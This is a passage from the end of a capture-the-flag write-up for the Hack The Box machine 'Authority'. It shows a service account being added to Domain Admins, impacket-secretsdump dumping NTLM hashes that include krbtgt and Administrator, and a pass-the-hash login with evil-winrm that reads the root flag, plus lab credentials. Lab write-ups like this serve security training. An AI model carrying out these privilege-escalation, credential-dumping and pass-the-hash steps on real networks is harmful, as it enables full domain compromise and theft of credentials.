# add_user_to_group svc_ldap Administrators
Adding user: svc_ldap to group Administrators result: OK

# add_user_to_group svc_ldap 'Domain Admins'
Adding user: svc_ldap to group Domain Admins result: OK

# exit
Bye!
โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Boxes/authority/PassTheCert/Python]
โ””โ”€$ impacket-secretsdump -dc-ip 10.10.11.222 authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!'@10.10.11.222  
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6961f422924da90a6928197429eea4ed:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:bd6bd7fcab60ba569e3ed57c7c322908:::
svc_ldap:1601:aad3b435b51404eeaad3b435b51404ee:6839f4ed6c7e142fed7988a6c5d0c5f1:::
AUTHORITY$:1000:aad3b435b51404eeaad3b435b51404ee:aee736d389f78d005b3cd11964d055be:::
DESKTOP-3D23SZCF$:11604:aad3b435b51404eeaad3b435b51404ee:d2620301b3b2d7fa2d95440e6a6e3138:::

With this, we can use evil-winrm to log in as Administrator, obtaining the root flag.

โ”Œโ”€โ”€(venv)โ”€(kaliใ‰ฟkali)-[~/โ€ฆ/Boxes/authority/PassTheCert/Python]
โ””โ”€$ evil-winrm -i 10.10.11.222 -u Administrator -H 6961f422924da90a6928197429eea4ed
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
ed5ca9aa3361d39e08276044afa9f61b

Reflection

Having done similar boxes that exploit ADCS in the past, this was a relatively straightforward box with a few twists at the end. However, certipy's req function was especially buggy and I received multiple errors which was only fixed after specifying the -dns-tcp and -dns parameters.

Last updated